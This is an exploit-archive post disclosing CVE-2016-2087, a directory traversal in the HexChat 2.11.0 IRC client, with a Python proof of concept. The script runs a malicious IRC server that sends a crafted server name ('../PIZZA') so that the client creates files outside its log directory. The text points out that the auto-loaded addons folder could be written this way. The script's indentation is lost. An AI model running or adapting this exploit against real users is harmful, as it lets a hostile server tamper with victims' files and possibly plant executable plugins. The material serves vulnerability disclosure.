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Hexchat IRC Client 2.11.0 Directory Traversal

Posted on 05 April 2016

#!/usr/bin/python
#
####################
# Meta information #
####################
# Exploit Title: Hexchat IRC client - Server name log directory traversal
# Date: 2016-01-26
# Exploit Author: PizzaHatHacker
# Vendor Homepage: https://hexchat.github.io/index.html
# Software Link: https://hexchat.github.io/downloads.html
# Version: 2.11.0
# Tested on: HexChat 2.11.0 & Linux (64 bits)
# CVE : CVE-2016-2087

#############################
# Vulnerability description #
#############################
'''
Server Name Directory Traversal in src/common/text.c :
static char * log_create_pathname (char *servname, char *channame, char *netname)

In this function, channame (channel name) and netname (network name as
configured in the client software) are sanitized to prevent directory
traversal issues when creating a logfile BUT servname (server-provided
information) is NOT sanitized before possibly being injected into
the file path via the 'log_insert_vars' function call.

This bug could be triggered in the special (non-default) configuration
where a user would have :
* Enabled logging (Settings > Preferences > Chatting > Logging)
* Used a pattern containing '%s' in the log filepath (instead
of the default = '%n\%c.log').

When connecting to a malicious server, Hexchat IRC client may create or modify
arbitrary files on the filesystem with the permissions of the IRC client user
(non-root). For example, the following directories are accessible easily :
* <Hexchat-Conf>/addons : Executable plugin files that are automatically loaded
when starting Hexchat IRC client
* <Hexchat-Conf>/logs : ALL logfiles (from other servers too)
* <Hexchat-Conf>/scrollback : Scrollback text that is automatically
loaded when entering a channel/server (this may trigger further bugs)
* <Hexchat-Conf>/sounds : Sounds that may be played on demand via CTCP
SOUND messages (this could also trigger further bugs)
* etc.

CVSS v2 Vector : (AV:N/AC:H/Au:N/C:N/I:P/A:P)
CVSS Base Score : 4
Impact Subscore : 4.9
Exploitability Subscore : 4.9
'''

####################
# Proof of Concept #
####################
'''
* Install Hexchat IRC Client
* Settings > Preferences > Chatting > Logging : Enable logging and use the log
filepath pattern : '%s\%c.log' (without the quotes)
* Run this Python script on a (server) machine
* Connect to the server running the script
* Results : A 'PIZZA' directory will appear in <Hexchat-Conf>/PIZZA instead
of something like <Hexchat-Conf>/logs/___PIZZA
'''

import socket
import sys
import time

# Exploit configuration
HOST = ''
PORT = 6667
SERVERNAME = '../PIZZA'

# Create server socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sock.bind((HOST, PORT)) # Bind to port
sock.listen(0) # Start listening on socket

print 'Server listening, waiting for connection...'
conn, addr = sock.accept()

print 'Connected with ' + addr[0] + ':' + str(addr[1]) + ', sending packets...'
conn.send(':' + SERVERNAME + ' 001 bob :Welcome to the Internet Relay Network
')

# Wait and close socket
conn.recv(256)
sock.close()

print 'Done.'

except socket.error as msg:
print 'Failure binding to port : ' + str(msg[0]) + ' ' + msg[1]

 

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